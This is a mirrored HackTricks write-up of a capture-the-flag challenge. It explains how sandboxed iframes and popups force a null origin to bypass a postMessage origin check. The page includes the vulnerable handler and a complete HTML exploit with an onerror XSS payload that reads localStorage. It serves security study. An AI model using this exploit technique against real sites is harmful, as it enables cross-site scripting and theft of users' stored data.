mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
96 lines
6 KiB
Markdown
96 lines
6 KiB
Markdown
# Bypassing SOP with Iframes - 1
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Iframes in SOP-1
|
|
|
|
In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
|
|
|
|
```javascript
|
|
const identifier = '4a600cd2d4f9aa1cfb5aa786';
|
|
onmessage = e => {
|
|
const data = e.data;
|
|
if (e.origin !== window.origin && data.identifier !== identifier) return;
|
|
if (data.type === 'render') {
|
|
renderContainer.innerHTML = data.body;
|
|
}
|
|
}
|
|
```
|
|
|
|
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
|
|
|
|
Let's see the solution they propose.
|
|
|
|
### SOP bypass 1 (e.origin === null)
|
|
|
|
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
|
|
|
|
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
|
|
|
|
### SOP bypass 2 (window.origin === null)
|
|
|
|
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
|
|
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
|
|
|
|
### Challenge Solution
|
|
|
|
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
|
|
|
|
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
|
|
|
|
```html
|
|
<body>
|
|
<script>
|
|
f = document.createElement('iframe');
|
|
|
|
// Needed flags
|
|
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
|
|
|
|
// Second communication with /iframe.php (this is the top page relocated)
|
|
// This will execute the alert in the correct origin
|
|
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
|
|
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
|
|
},1000);`.replaceAll('\n',' ');
|
|
|
|
// Initial communication
|
|
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
|
|
// Then, bypass window.origin === e.origin to steal the identifier and communicate
|
|
// with the top with the second XSS payload
|
|
f.srcdoc = `
|
|
<h1>Click me!</h1>
|
|
<script>
|
|
onclick = e => {
|
|
let w = open('https://so-xss.terjanq.me/iframe.php');
|
|
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
|
|
setTimeout(_ => {
|
|
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
|
|
}, 1000);
|
|
};
|
|
<\/script>
|
|
`
|
|
document.body.appendChild(f);
|
|
</script>
|
|
</body>
|
|
```
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|